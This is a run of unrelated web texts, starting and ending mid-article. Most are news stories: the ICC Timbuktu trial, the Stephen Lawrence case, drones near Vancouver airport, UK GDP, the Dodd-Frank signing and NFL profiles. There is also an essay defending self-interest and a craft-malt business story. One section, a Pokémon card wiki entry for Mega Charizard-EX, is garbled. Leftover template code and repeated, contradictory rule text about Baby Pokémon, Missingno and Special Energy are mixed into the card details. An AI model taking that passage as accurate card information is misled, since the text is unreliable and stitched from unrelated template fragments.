wouldn’t be defined by stats, but by Super Bowls. For that reason, his only focus became winning, and he didn’t tolerate teammates who didn’t share his mind-set. Similarly, Smith has shrugged off questions regarding his so-so stats this season and repeatedly stated his focus is on wins and losses.  Now Smith is two wins away from sharing something else with Aikman besides their relationship with Turner.  “Right now, Alex is realizing the fruits of that; if you win, none of those other things really matter,” Aikman said. “Ultimately, you get the credit and the recognition that you deserve when you win. I think at the quarterback position, if you just win, and make that a priority, the rest of it will take care of itself.”
-The trial of a Malian jihadist, charged with war crimes for orchestrating the 2012 destruction of nine Timbuktu mausoleums and a section of a famous mosque, opened Monday at the International Criminal Court.  Ahmad al-Faqi al-Mahdi appears at the International Criminal Court in The Hague, Netherlands, on August 22, 2016.  Ahmad al-Faqi al-Mahdi asked for forgiveness as he pleaded guilty to the 2012 attacks on the fabled city of Timbuktum in Mali, Africa, and urged Muslims not to follow such "evil" ways at his unprecedented war crimes trial.  "Your honor, regrettably I have to say that what I heard so far is accurate and reflects the events. I plead guilty," he said as his trial opened, admitting a sole war crimes charge of cultural destruction.  Armed with videos, graphics and 360-degree landscapes, war crimes prosecutors showed images of the destruction of the centuries-old sites in the west African city.  Aged about 40, Mahdi is the first person ever to confess his crimes at the ICC, is also the first Islamic extremist to appear before the tribunal and the first charged with crimes arising out of the conflict in Mali.  The razing of the ancient shrines by jihadists triggered global outcry, and archaeologists hope the trial will send a stern warning that such plundering of our common heritage will not go unpunished.  Mahdi is accused of "intentionally directing attacks" against nine of Timbuktu's famous mausoleums as well as the Sidi Yahia mosque between June 30 and July 11, 2012.  Founded between the fifth and the 12th centuries by Tuareg tribes, Timbuktu's very name evokes centuries of history and has been dubbed "the city of 333 saints" for the number of Muslim sages buried there.  Here are five things you need to know about Mali's holy sights:  Who built the mausoleums?  The mausoleums of Muslim saints located in Timbuktu's cemeteries and mosques date back to the ancient caravan city's golden age in the 15th and 16th centuries as an economic, intellectual and spiritual centre. Some date back as far as the 14th century.  The construction of the original tombs of Muslim saints was undertaken by anonymous groups of family members or disciples of the saints, according to experts.  The earthen mausoleums around them were erected after the tombs were desecrated by those who believed they could gain power from being close to the remains.  In the centuries that followed, their maintenance and upkeep was taken on by descendants, local residents and patrons of the sites.  Thirteen of the city's most revered sites became UNESCO-protected in 1988.  Why are they revered?  Known as the "City of 333 saints," or the "Pearl of the Desert," Muslims from across the world visited the tombs of saints as holy places where those in difficulty could ask for divine intervention.  The city's inhabitants have long believed the tombs protect them from danger and they appeal to the saints for help.  Throughout the years, residents have asked the saints to intervene in anything from securing a woman's hand in marriage to making the rains come.  UNESCO describes them as "pilgrimage sites for Malians and neighbouring west African countries."  Why were they destroyed?  Islamist fighters desecrated the centuries-old shrines using pickaxes and chisels after seizing the city in 2012.  The jihadists considered the shrines, as well as priceless ancient manuscripts from Timbuktu's golden age, to be idolatrous.  On trial next week for his alleged role in spearheading the destruction is Ahmad al-Faqi al-Mahdi, a member of Ansar Dine, a mainly Tuareg group which at the time held sway over Mali's desert north.  Ansar Dine allied with Al-Qaeda in the Islamic Maghreb and a third group to occupy the city, until being routed in a French-led intervention in January 2013.  Court prosecutors say the jihadists' first attempted to dissuade Timbuktu's residents from their long-held practice of worshipping the shrines, but after failing set upon their wholesale destruction.  The Islamists also implemented a version of Islamic law which forced women to wear veils and set whipping and stoning as punishment for transgressions.  Why is the ICC case important?  The case is the first to be brought by the world's only permanent war crimes court over the extremist violence that rocked Mali in 2012 and 2013.  It is also the first time that a jihadist has appeared before the court in The Hague and the first ICC case investigating the destruction of religious buildings and historical monuments.  The defendant has made clear he will plead guilty — another first for the court — to a single charge of jointly ordering or carrying out the destruction.  What happened to the mausoleums?  The reconstruction of the shrines began in March 2014, relying heavily on traditional methods and employing local masons.  To make sure the rebuilt shrines matched the old ones as closely as possible, work was checked against old photos and local elders were consulted throughout the process — an important step in a city where culture has traditionally been passed on by word of mouth.  Several countries and organisations financed the reconstruction, including UNESCO.  Work finished on the site in July 2015, and a ceremony marking the completion was held on February 4, 2016.  Five head of cattle were ritually sacrificed just after dawn, ahead of a reading of the entire Muslim holy book, the Koran, and the handing of the keys to the families in charge of their care.
-This article is over 4 years old  CPS confirms no further action will be taken against man who was arrested last December and who has not been named  A sixth man held over the murder of black teenager Stephen Lawrence will not be prosecuted due to insufficient evidence.  The Crown Prosecution Service has confirmed no further action will be taken against the suspect, who has not been named and was arrested 11 months ago.  Lawrence, 18, who wanted to be an architect, was stabbed to death by a group of up to six white youths in an unprovoked racist attack as he waited at a bus stop in Well Hall Road, Eltham, south-east London, with a friend on 22 April 1993.  It took more than 18 years to bring two of his killers – Gary Dobson and David Norris – to justice.  Three other men have also previously been named as suspects but deny involvement.  An inquiry following the murder found failings in how the Metropolitan police had investigated the crime and led to the force being accused of institutional racism.  Lionel Idan, deputy chief crown prosecutor, said: “On October 21 the CPS decided that no further action will be taken in relation to an individual, identified as a suspect in the ongoing police investigation into the murder of Stephen Lawrence.  “A file was received on 31 May 2014 from the Metropolitan police. After careful consideration it has been decided that there is insufficient evidence for a realistic prospect of conviction.  “The decision has been made in accordance with the code for crown prosecutors.  “Any decision by the CPS does not imply any finding concerning guilt or criminal conduct – the CPS makes decisions only according to the test set out in the code for crown prosecutors and it is applied in all decisions on whether or not to prosecute.”  A Metropolitan police spokesman confirmed the man, who is in his 40s, was arrested on 23 December last year on suspicion of Lawrence’s murder.  The spokesman said: “He was bailed to return pending further inquiries and a file submitted to the CPS for their consideration.  “The individual has now been advised there will be no further action against him.”  It comes as a senior police officer facing claims of discreditable conduct linked to the case prepared to be reinstated to full duties next week.  Scotland Yard confirmed last month that Commander Richard Walton, who was removed from operational duties in March, will resume his role on 1 December, even though he is still facing an inquiry by the Independent Police Complaints Commission.
-I have been reading articles about business ethics lately, and to my dismay discovered a common feature: a lack of understanding of self-interest. This is not surprising, given that altruism, the moral code advocating self-sacrifice, dominates the culture. Still, I was hoping that at least some intellectuals writing today would acknowledge alternatives to altruism, such as the common sense view of ethics accepted by most people (those not writing articles about ethics …).  The common sense view is that we should live by pursuing our own interests, without hurting others, by physical force or fraud. Most people recognize that if we don’t pursue our values—such as food, shelter, health, work, recreation—we cannot survive and be happy. The authors of the several articles I read ignored this. Instead, upholding altruism as the moral ideal, they set up self-interest as a straw man. In their view, self-interest means exploiting others, based on the assumption that people’s interests automatically conflict. For example, a CEO’s interest to maximize his compensation, the employees’ interest to maximize theirs, and the shareholders’ interest to maximize the return on their investment allegedly conflict. Because of this perceived conflict, achieving one’s self-interest supposedly requires exploiting others, such as the CEO deceiving the shareholders, or the employees shirking their responsibilities, or the shareholders manipulating the CEO.  If people’s interests unavoidably conflict, then pursuing self-interest automatically harms others. The authors of one article went as far as arguing that self-interest that is harmonious with the interests of others is logically impossible. By their logic, giving a raise to an employee is not in the self-interest of a manager (presumably because that will mean less money available to compensate himself). By the same logic, the manager getting a bonus conflicts with the interests of his employees.  Not only do intellectuals embrace the straw man view of self-interest; they also evade the true nature of altruism. Instead of recognizing it for what it is (as intended by that code’s developers such as August Comte): self-sacrifice for the sake of others as a principle, they promote putting others’ interests ahead of our own as noble. Never do these intellectuals tell us why it is moral to help others to achieve their values but immoral to pursue our own.  Why are the intellectuals’ views wrong? The idea that people’s interests automatically conflict and that pursuing self-interest means exploiting others is truly a straw man. It completely misses what self-interest actually means: pursuing one’s values—values that meet the requirements of human survival and flourishing. Pursuing self-interest is absolutely necessary if we want to survive and flourish, and most people know that simply from observation.  Exploiting others through force or fraud is not in our self-interest. Such action would invite others to do the same or get justice through the legal system, thus jeopardizing our values. Even if we derived some temporary gain, say, from deceiving others, such a gain would not be sustainable, as any pyramid investment schemer or other fraudsters eventually learn. As shown by Ayn Rand, people’s rational interests do no not conflict. Giving a raise to a productive employee does not conflict with the interests of the manager or the shareholders. Quite the contrary, it benefits them if the raise keeps the employee motivated and deters him from joining a competitor. As a consequence, the company will create more value, making possible a bonus to the manager and dividends to the shareholders. A bonus to a deserving manager would similarly promote the interests of the other parties.  Also, only by evading the self-sacrificial nature of altruism can anyone embrace it as the moral ideal. It is altruism not egoism that is destructive. By advocating putting others’ interests always first, it prevents us from achieving our self-interest: well-being and happiness. Despite the common sense view of ethics, many people do not question what the intellectuals, including religious leaders, teach and end up feeling guilty because they are not able to put others ahead of themselves on principle. Nobody can live by the opposite principles of the common-sense morality and of altruism.  Ironically, it is not altruism but the morality of self-interest that makes genuine benevolence and kindness possible. Only when people are free and their rights are protected against exploiters, can they seek their own interests and flourish and thus be able to help those deserving help when the need sometimes arises.  If we want to survive and flourish, we must reject altruism and study, understand, and adopt self-interest instead.  Like this: Like Loading...
-What might this mean for the Volt sales later this year?  Aside from the fact that it’s a nice perk, is it fair to incetivize consumers this way? (Obviously California and many plug-in car fans think so, but just asking …)  Thanks to Mark Z for the link …  As of March 12, fewer than 3,620 green HOV stickers allowing solo-driver access for plug-in cars were left in California out of an initial 40,000 allotment.  The green stickers – as opposed to white stickers – are a perk for purchase of transitional zero emission vehicles (TZEV) such as the Chevy Volt.  This means if solo access to the High Occupancy Vehicle lane in California was an incentive to buy an eligible plug-in car in the number-one plug-in cars state, this is on the verge of drying up.  The white stickers for all-electric vehicles like the Nissan Leaf, Tesla Model S, and others are unlimited through Jan. 1, 2019.  A person named “Tom” from the BMW i3 Facebook Group noticed this dwindling green sticker supply on the California Air Resources Board’s Web site, and tipped off InsideEVs.  The site reports in the past four months more than 12,000 people have applied to the state for the green stickers and 8,000 stickers have been applied for since Jan. 1, 2014.  Source: Calif. ARB.  If you were thinking of getting a Volt in California and applying, better act quick.  Whether this will adversely affect Volt sales after the supply is gone does remain to be seen, but it would be reasonable to surmise it could.  Meanwhile EV buyers will still have access to their white stickers, so will we see any tip in the balance between the perennial Volt vs. Leaf mock sales race later this year?  InsideEVs  Doh!  As a trivial pursuit extra bit of news, what do you think of this? …  Funny? Or not funny? That is the question of a tweet a third-party social marketing firm hired by Nissan did on behalf of the Leaf and at Tesla’s expense.  As you no doubt have seen, Tesla was unceremoniously booted from New Jersey after its motor vehicle commission decided to enforce laws already on the books rendering it ineligible for a dealer franchise license.  The tweet, which has subsequently been taken down, was explained away by Nissan as something the Japanese automaker never explicitly was asked about and thus did not directly approve.  “It’s okay #NewJersey, you can still #GoElectric with the #NissanLEAF #EV,” said the tweet as reported by autobloggreen.  Nissan’s Rob Robinson, senior specialist of social communications told ABG in benign terms, “We thought it was a discussion we didn’t need to be weighing in on,” he said, referring to the Tesla versus New Jersey tiff.  Others have said they do think it was funny and it even livened up Nissan’s Twitter account.  Our comment? No comment. But we thought if you’ve not seen this already, you might be interested to see.  autobloggreen
-Richmond RCMP are investigating after a drone was reported flying dangerously close to aircraft at Vancouver's YVR airport on Monday.  A concerned citizen spotted the drone, a remote-controlled aircraft, adjacent to the glide path of planes landing at Vancouver airport.  RCMP Sgt. Cam Kowalski said police want to publicize the dangers of remote-controlled aircraft, also known as UAVs, or unmanned aerial vehicles.  "It puts people in danger and puts them at risk, puts the community at risk," said Kowalski. "We take these incidents very seriously."  "It's incredibly dangerous and incredibly stupid, so we will investigate this every way that we possibly can."  Canada’s Transportation agency is already investigating an earlier incident, in which video — shot from a drone — was posted on YouTube showing a landing passenger jet at Vancouver airport.  In another case, an Air Canada pilot reported a drone came within 50 metres of his landing aircraft, and in May, a drone crashed on a movie set in Vancouver.  Aviation lawyer Lee Mauro is concerned about the lack of rules in Canada and questions what would happen if a drone were to strike a cockpit window or be sucked into an engine.  "Our aviation industry is heavily regulated and is quite safe. But [planes] are not tested for a 75 pound carbon fibre drone flying into the engine or the windscreen," said Mauro.  "I think that is a real safety issue, and we're seeing it now."  Under Canadian rules, if a drone is under 35 kilograms, operators are only required to maintain a line of sight and avoid getting too close to congested areas or restricted airspace like an airport.  A drone equipped with a small video camera takes flight in Vancouver. (CBC)  In the U.S., the rules are much more strict. Drones cannot travel within eight kilometres of an airport without permission from the control tower.  "The technology at this point is sort of surpassing the regulation, it's moving at a pace that has significantly outpaced the legislative ability to keep up to it," said Mauro.  A YVR airport spokesperson told CBC News the safety of airspace is paramount to the airport and making sure planes land safely is its number one priority.  Meanwhile, the RCMP say if they can track down the person who was flying drone near YVR Monday, they will consider laying charges.  According to Kowalski, that could mean a substantial fine under the Aeronautics Act or a penalty in line with the Canadian Aviation Regulations.  Provincially, he says, police will be pursuing a myriad of potential charges, including mischief and criminal negligence.
-Two Florida girls, one 13 and one 14, have had felony charges dropped in a bullying case that sprang up following 12-year-old Rebecca Sedwick's suicide in September. In an interview with Today, 13-year-old Katelyn Roman expressed relief at the decision and said, "I do not feel l did anything wrong."  Polk County Sheriff Grady Judd made headlines last month when he charged Roman and Guadalupe Shaw with third-degree aggravated stalking after Sedwick, a girl the duo had allegedly harassed, leapt from a factory tower to her death. Several weeks after Sedwick's suicide, Shaw allegedly wrote on her Facebook wall, "Yes [I know] I bullied Rebecca nd she killed her self but [I don't give a fuck]." That message, said Judd at the time, "forced" him to arrest the girls.  Now that the Florida state attorney has dropped all charges against Roman and Shaw, for reasons it won't release because the girls are juveniles, Judd told reporters he's "exceptionally pleased with the outcome of the case."  "We see the children are going to get the services they need,'' Judd told reporters, referring to both girls being in counseling. "That's the best outcome for juveniles. Our goal is that these kids never bully anyone again."  Not so pleased are the formerly accused teens' parents, who feel that Judd opened up their daughters to a world of criticism based on unfounded claims.  "It was uncalled for for Grady Judd to go up there and throw her picture up there and people coming to my house and trying to come and threaten my family, threaten me on the phone, threaten me at my house, I mean it was just crazy the way he did that," Katelyn Roman's father told Today.  An attorney for the Romans says the family is now considering legal action against Judd.
-Malt refers to any germinated grain, usually barley, used in brewing and distilling. Andrew Martahus’ choice of career may seem like a sharp left turn from his undergraduate education in chemical engineering, yet the opposite is true. In this modern food processing facility in the heart of MidTown, he will soon oversee the step-by-step process of making malt from grain.  Different types of beer use different varieties and combinations of grains, Martahus explained. For example, IPAs use almost 100% barley, while wheat beers consist of about 50% barley and 50% wheat. Porters usually use a light barley as the base, but small amounts of darker malt are added to create their darker character. Haus Malts does not yet have a drum roaster for roasting malts used in darker beers, but that’s part of the second phase plans. “We can handle most beers,” explained Martahus, adding that although Haus Malts’ pricing will be higher than corporate purveyors like Cargill, the product will be high-quality and can be custom-blended to a brewer’s specifications. Haus Malts uses a type of two-row barley called Newdale that is grown by Maine Potato Growers, Inc., in Presque Isle, Maine. It is sent by truck to Hirzel Farms in Luckey, Ohio, where the seeds are cleaned so that uniform barley kernels can be shipped to Haus Malts. The company, whose warehouse is now stocked with raw material, will soon turn its wheat, spelt, rye and barley into specific combinations of malt, called “grain bills,” that will be sold to craft brewers. Martahus compares the malting process to coffee roasting, although it’s obviously significantly more complex than that. Throughout the carefully monitored seven-day process, the grain is steeped in a temperature-controlled germination room, baked in a low-temperature kiln and then filtered through a rootlet remover called a deculmer before it’s placed in 50 pound bags. “We start the full-fledged germination process,” said the chemistry major. “During the first four days, it’s growing. The kernel has a matrix of protein and starch, and it starts producing enzymes that start to sugar. We stop before it fully sprouts through the end of the kernel. We’ve used some but not all of the starch. Then the brewer converts the starch and sugar using natural enzymes in the kernel. That makes sugar, and yeast eats the sugar to make alcohol.” Haus Malts plans to focus initially on the Cleveland area, testing its malt combinations on breweries like Great Lakes, Platform and Market Garden, which have expressed interest in the product. Martahus said that he’s already received inquiries from breweries in Columbus, Toledo and Cincinnati, among other places. The company will focus on the Great Lakes region. To gear up for opening the facility, both father and son attended a two-week intensive program at the Canadian Malting Barley Technical Centre in Winnipeg, Canada. Traveling clear across North America was pretty much the only way to learn the craft from experts at the so-called “malt academy” of Canada. “It was the only place to learn how to malt that was not through the big corporations that control the market,” said Andrew Martahus. “It’s sort of a black box. There’s not much information out there.” He recently had a chance to brew a spelt grain beer with Andy Tveekrem, the head brewer behind Market Garden and Nano Brew. “We took the Pearl Street Wheat and replaced the wheat with spelt,” said Martahus. “We called it the Rust Belt Spelt. It sold out in one week.” To contact me, send an email to [email protected] You also can follow me on Twitter @leechilcote.
-Wildflowers at Henderson Canyon Road at Anza-Borrego State Park. This area is a well-known spot to see flowers during the famous Desert Bloom season.  This year’s “banner bloom” at Anza-Borrego Desert State Park was one for the books and if you captured pretty pictures of Mother Nature at work, now is your chance to share them.  Winter Rains Bring Historic Desert Bloom  Following the most February rain in more than a decade, the desert bloom is attracting thousands of visitors. (Published Friday, March 17, 2017)  The Anza-Borrego Foundation, in partnership with Borrego Art Institute and Kesling’s Kitchen, recently launched the 2018 Anza-Borrego Desert Photo Contest to find incredible photos of views, blooms, and memories taken by visitors to Anza-Borrego Desert State Park (ABDSP).  2017 Super Bloom at Anza-Borrego Desert State Park  The theme of the contest focuses on the unique and natural beauty of the park. Submissions will be accepted in across six categories: plants of ABDSP; desert bighorn sheep of ABDSP; animals (not sheep) of ABDSP; landscapes of ABDSP; people enjoying ABDSP; black & white photos of ABDSP.  All photos must be taken within the boundaries of the park; the deadline for digital submissions is 12 p.m. on Dec. 1. Contestants can submit up to 10 photographs for the contest, across different categories.  According to the competition rules, judges will conduct an initial review of the submissions and choose approximately 200 photos to move onto the next round. Those photographers will then have to submit a printed version of their work, along with a $5 entry fee.  Judges will conduct a final review of the prints in early 2018. On Feb. 3, 2018, judges will make their critiques, choose the winners and award first, second and third-place ribbons and a grand prize to the “Best in Show.”  All winners will receive a one-year gift membership to Anza-Borrego Foundation; the winning photos and honorable mentions will be displayed at Borrego Art Institute from Feb. 3 through Feb. 28, 2018.  Signs Point to Banner Bloom at Anza-Borrego Desert  NBC 7's Jodi Kodesh and Monica Garske discuss the annual "Desert Bloom," set to happen soon at Anza-Borrego Desert State Park. With the right amount of rain and milder temperatures and wind, Kodesh says the perfect formula is there to produce a banner bloom. (Published Thursday, Feb. 16, 2017)  There will also be a voting period open to the public for the “People’s Choice” winners in each category, from Dec. 20 through Jan. 26, 2018. The work of those winners will be featured in the Anza-Borrego Foundation’s social media.  NBC 7 saw many breathtaking photographs of ABDSP earlier this year -- around late February to mid-March -- during the park's famous "Desert Bloom" season.  This year, thanks to a perfect a trifecta of healthy rainfall and mild temperature and winds, the desert saw a vibrant "Super Bloom" that brought forth colorful fields of yellow, white and pink wildflowers.  Just before the season began, NBC 7 spoke with Ernie Cowan, president of the Anza-Borrego Foundation (ABF), about the blooming process and he said it was "all coming together."  Desert Blooms of Season's Past  Cowan said the western edges of Anza-Borrego Desert State Park – the Badlands – is a well-known wildflower zone, as well as Henderson Canyon Road, and Di Giorgio Road.  For big horn sheep sightings, he recommended the mild, 3-mile walk or hike along Borrego Palm Canyon.  Anza-Borrego Desert State Park, the largest state park in California, is located about 90 miles east of downtown San Diego. The park makes up one-fifth of San Diego County, while the rest lies in Imperial and Riverside counties, spanning Borrego Springs and Shelter Valley.
-The British economy continued to contract for a third consecutive quarter, for which the weather is to blame, along with a slumping construction industry and the Queen's Diamond Jubilee.  NEW YORK (CNNMoney) -- The British economy slumped for the third consecutive quarter, adding to the economic concern throughout Europe, with some economists calling this the most prolonged double-dip recession in the United Kingdom since the 1950s.  Gross domestic product, the broadest measure of the economy, contracted 0.7% in the months of April, May and June, according to the United Kingdom's Office for National Statistics. The decline was broader than the 0.2% drop economists had forecast.  Investec economist Victoria Clarke said this is a "very prolonged and severe economic downturn" that is "driven by a global financial downturn" beginning in 2008. The London-based economist said this is the longest double-dip recession since the British started tracking their GDP in 1955.  On an year-over-year basis, GDP fell 0.8%.  "This morning's GDP is little short of a disaster for the UK economy and a humiliating blow to [finance minister] George Osborne," said Richard Driver, analyst for Caxton FX. "The government will surely have to adjust its austerity stance now and a clearer growth strategy must be put in place to get Britain back on track."  "We've said the situation would get worse before it gets better," said Jeremy Cook, chief economist at the foreign exchange company World First. "Anything worse than this and we are risking depression."  A stagnant construction sector, and less dramatic slumps in manufacturing production and the services sector also did their part to drag down GDP, according to the report. Construction activity dropped by 5.2% in the second quarter.  The holiday from the Queen's Diamond Jubilee and wet weather might have contributed to the slowdown, said James Knightley, senior economist at ING Commercial Banking London.  "The wettest April-June period on record and the dullest June (in terms of hours of sunshine) since 1909 likely deterred shoppers," said Knightley, adding that the GDP report is "merely a very early estimate based on only 44% of the complete information required to provide the 'final' GDP number."  Things could look up, according to Driver, who forecast a "mild recovery in the second half of the year, particularly in light of the Olympics." But he added that the "risks of further contraction are increasing all the time."  London is hosting the Summer Olympics, which begins on Friday.  Harry Duff of the Office for National Statistics said the second-quarter GDP figures will be updated, if necessary, in about one month.
-Wild Blaze Mega Charizard M Charizard-EX  MリザードンEX MLizardonEX [[Image:{{{image}}}|180px]] Hit Points: 230 Wild Blaze  ワイルドブレイズ 300 Discard the top 5 cards of your deck. This Pokémon is both type If this Baby Pokémon is your Active Pokémon and your opponent tries to attack, your opponent flips a coin (before doing anything else required in order to use that attack). If tails, your opponent's turn ends without an attack. If this Baby Pokémon is your Active Pokémon and your opponent tries to attack, your opponent flips a coin (before doing anything else required in order to use that attack). If tails, your opponent's turn ends without an attack. You may have up to 4 Basic Pokémon cards in your deck with Unown in their names. You may have as many of this card in your deck as you like. When Pokémon-ex has been Knocked Out, your opponent takes 2 Prize cards. Put this card onto your Active Missingno.. Missingno. LV. X can use any attack, Poké-Power, or Poké-Body from its previous Level. Put this card from your hand onto your Bench only with the other half of Missingno. . Put this card from your hand onto your Bench only with the other half of Missingno. & Missingno. . When this Pokémon has been Knocked Out, your opponent takes 2 Prize cards. Attach this card to 1 of your Pokémon in play. That Pokémon may use this card's attack instead of its own. At the end of your turn, discard this card. You may attach this as an Energy card from your hand to 1 of your Pokémon. While attached, this card is a Special Energy card and provides Energy. You may attach this as an Energy card from your hand to 1 of your Pokémon that already has an Energy card attached to it. When you attach this card, return an Energy card attached to that Pokémon to your hand. While attached, this card is a Special Energy card and provides every type of Energy but 2 Energy at a time. (Has no effect other than providing Energy.) You can't have more than 1 Pokémon in your deck. You can't have more than 1 Shining Missingno. in your deck. This card can't evolve into Pikachu.  If this Baby Pokémon is your Active Pokémon and your opponent tries to attack, your opponent flips a coin (before doing anything else required in order to use that attack). If tails, your opponent's turn ends without an attack. When a Pokémon-EX has been Knocked Out, your opponent takes 2 Prize cards. weakness  ×2 resistance  None retreat cost  Battle Deck Mega Charizard M Charizard-EX  MリザードンEX MLizardonEX [[Image:{{{image}}}|180px]] Hit Points: 220 Crimson Dive  グレンダイブ 300 This Pokémon does 50 damage to itself. This Pokémon is both type If this Baby Pokémon is your Active Pokémon and your opponent tries to attack, your opponent flips a coin (before doing anything else required in order to use that attack). If tails, your opponent's turn ends without an attack. If this Baby Pokémon is your Active Pokémon and your opponent tries to attack, your opponent flips a coin (before doing anything else required in order to use that attack). If tails, your opponent's turn ends without an attack. You may have up to 4 Basic Pokémon cards in your deck with Unown in their names. You may have as many of this card in your deck as you like. When Pokémon-ex has been Knocked Out, your opponent takes 2 Prize cards. Put this card onto your Active Missingno.. Missingno. LV. X can use any attack, Poké-Power, or Poké-Body from its previous Level. Put this card from your hand onto your Bench only with the other half of Missingno. . Put this card from your hand onto your Bench only with the other half of Missingno. & Missingno. . When this Pokémon has been Knocked Out, your opponent takes 2 Prize cards. Attach this card to 1 of your Pokémon in play. That Pokémon may use this card's attack instead of its own. At the end of your turn, discard this card. You may attach this as an Energy card from your hand to 1 of your Pokémon. While attached, this card is a Special Energy card and provides Energy. You may attach this as an Energy card from your hand to 1 of your Pokémon that already has an Energy card attached to it. When you attach this card, return an Energy card attached to that Pokémon to your hand. While attached, this card is a Special Energy card and provides every type of Energy but 2 Energy at a time. (Has no effect other than providing Energy.) You can't have more than 1 Pokémon in your deck. You can't have more than 1 Shining Missingno. in your deck. This card can't evolve into Pikachu.  If this Baby Pokémon is your Active Pokémon and your opponent tries to attack, your opponent flips a coin (before doing anything else required in order to use that attack). If tails, your opponent's turn ends without an attack. When a Pokémon-EX has been Knocked Out, your opponent takes 2 Prize cards. weakness  ×2 resistance  None retreat cost
-The law subjects more financial companies to federal oversight and regulates many derivatives contracts while creating a consumer protection regulator and a panel to detect risks to the financial system.  A number of the details have been left for regulators to work out, inevitably setting off complicated tangles down the road that could last for years.  But “because of this law, the American people will never again be asked to foot the bill for Wall Street’s mistakes,” Mr. Obama said before signing the legislation. “There will be no more taxpayer-funded bailouts. Period.”  He was surrounded by a group of mostly Democratic lawmakers and advocates of the overhaul legislation, including the House speaker, Nancy Pelosi of California , and the Senate majority leader, Harry Reid of Nevada , as well as Senator Christopher J. Dodd of Connecticut and Representative Barney Frank of Massachusetts , chairmen of crucial committees involved in developing the legislation.  Photo  The White House orchestrated a major signing ceremony at the Ronald Reagan Building across from the Commerce Department to trumpet the new law.  Mr. Obama took pains to try to show how the complex legislation, with its dense pages on derivatives practices, will protect ordinary Americans.  “If you’ve ever applied for a credit card, a student loan or a mortgage , you know the feeling of signing your name to pages of barely understandable fine print,” Mr. Obama said. “But what often happens as a result is that many Americans are caught by hidden fees and penalties, or saddled with loans they can’t afford.”  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  He said the law would crack down on abusive practices in the mortgage industry, simplifying contracts and ending hidden fees and penalties, “so folks know what they’re signing.”  Advertisement Continue reading the main story  The law expands federal banking and securities regulation from its focus on banks and public markets, subjecting a wider range of financial companies to government oversight.  It also imposes regulation for the first time on opaque markets like the enormous trade in credit derivatives.  It creates a council of federal regulators, led by the Treasury secretary, to coordinate the detection of risks to the financial system, and it provides new powers to constrain and even dismantle troubled companies.  And it creates a powerful regulator, to be appointed by the president and housed in the Federal Reserve, to protect consumers of financial products.  The first visible result may come in about two years, the deadline for the consumer regulator to create a simplified disclosure form for mortgage loans.
-Upcoming 90s style RPG on PS Vita adds another version to its party  Grab the nearest household item-turned-weapon and set sail for a fictional island in New Zealand in a new 2D action adventure inspired by the legend of Maui and the Giant Fish. In Reverie, you play as Tai, a young boy on summer holiday exploring the dangerous Toromi Island, in an effort to calm angry spirits threatening the safety of the land’s inhabitants.  Now, some of you may already know Reverie is coming first to the PlayStation Vita worldwide in Q1 2018, but we are very happy to announce that it will also be coming to PlayStation 4 soon after, as a physical release and digitally on PlayStation Store.  The physical PS4 and PS Vita editions of Reverie will be released in small quantities after the digital launches because of the time it takes to produce the physical goodies we’re including: a manual, map, physical soundtrack CD and the game cartridge/disc (obviously).  As a little extra to celebrate this announcement, we’ve decided to show off a new area of Reverie! Since we are closing in on Halloween, how about an exclusive look at the spookiest place on Toromi Island… Butler’s Cay! (The name sounds familiar, no?)  The notable landmarks of Butler’s Cay are the cemetery and the church. We’ve tried to be accurate in our design of these sights as they’re based off early New Zealand architecture and history, such as the Christ Church in Russell. There are many other secrets to find on Butler’s Cay as well, but we don’t want to reveal too much!  For more information about the game, or us, you reach us easiest on Twitter, or via our email address contact@rainbite.net. Thank you for your time!
-Christian Petersen/Getty Images  New England Patriots running back Dion Lewis seemingly has emerged from crumb rubber, musket smoke and pixie dust, so we are inclined to chalk him up to mystery.  How else can we explain an undersized running back leading the NFL's best offense in rushing yards after being cut twice and sitting out of football for almost all of last season?  A mystery this is.  But every mystery has clues, if you know where to look and who to talk to. This week, Bleacher Report has tracked down many of the people with insight into Lewis' past and progress to figure out just how he has arrived as such a surprising force in the Patriots' backfield.  Clue No. 1: Lewis had shown extraordinary talent in the past  In the fall of 2008, there were rumors on the campus of the University of Pittsburgh. LeSean "Shady" McCoy, the team's star running back, might leave school early and apply for the NFL draft. If he did, the Panthers were going to need a replacement who could step in the following season, and they didn't have one on the roster.  Dave Wannstedt, then the head coach, gave his assistants an assignment: Find a running back who could start for the team next year.  Jeff Hafley, the secondary coach, was in charge of recruiting New Jersey. He placed a DVD on Wannstedt's desk of a running back from Blair Academy.  He needed to explain something, though. "Coach, he's only 5'5", 180," Hafley said, almost apologetically. That was why Lewis was not being heavily recruited by others. He would be offered scholarships from just two other schools, Miami of Ohio and Tulane.  Wannstedt watched the DVD anyway. After just eight plays, he hit the stop button on his remote control.  "Get him in here," Wannstedt said. "If he is the type of person we want, we will offer him a scholarship."  Streeter Lecka/Getty Images  Lewis replaced McCoy the following year, breaking McCoy's record for most points by a Pitt freshman and breaking Tony Dorsett's record for most rushing yards by a freshman in the Big East.  It did not take long to see Lewis had special talent.  "Barry Sanders was the quickest I ever saw in terms of making a guy miss in a hole," Wannstedt said. "Dion isn't Barry Sanders, but he had some of that same make-a-guy-miss-in-a hole quickness. Plus he had 4.5 speed to outrun you. He could catch. He did things you can't coach."  Lewis was about more than just quick feet. Buddy Morris, the strength coach for Pitt at the time, gave his players a test that measured pound-for-pound strength. Morris said Lewis bench-pressed twice his body weight and squatted more than 500 pounds, making him the strongest pound-for-pound player on the team.  Clue No. 2: There was a reason many overlooked Lewis  At the 2011 scouting combine, Lewis measured 5'7" and weighed 193 pounds. Those numbers spoke loudly to NFL ears. Despite his stats at Pitt, including once carrying the ball 47 times in a single game, Lewis would not be considered durable enough to be an every-down NFL back.  Lewis' small frame did not diminish the enthusiasm of Joe Banner, then the president of the Eagles. The loudest voice in the Philadelphia draft room pushing for the team to select Lewis was Banner's. But even he had tempered expectations. He thought Lewis would be a change-of-pace back in the NFL. The Eagles subsequently targeted Lewis as a fifth-round pick, and they were pleased to select him there.  "There is a prejudice in the NFL against smaller players, and for good reason," said Banner, now an ESPN analyst. "Most smaller players don't overcome the size challenge. But that stereotypical thinking cost a lot of teams a chance at a guy with a lot of talent. He is a good example of that."  Smaller running backs almost always are backups in the NFL. And most coaches want backups to have special teams value. Lewis has not been a return man, and he isn't big enough to block or play coverage on special teams.  Lewis understands his lack of size has cost him opportunities.  "Some people might not want a smaller back on their team, 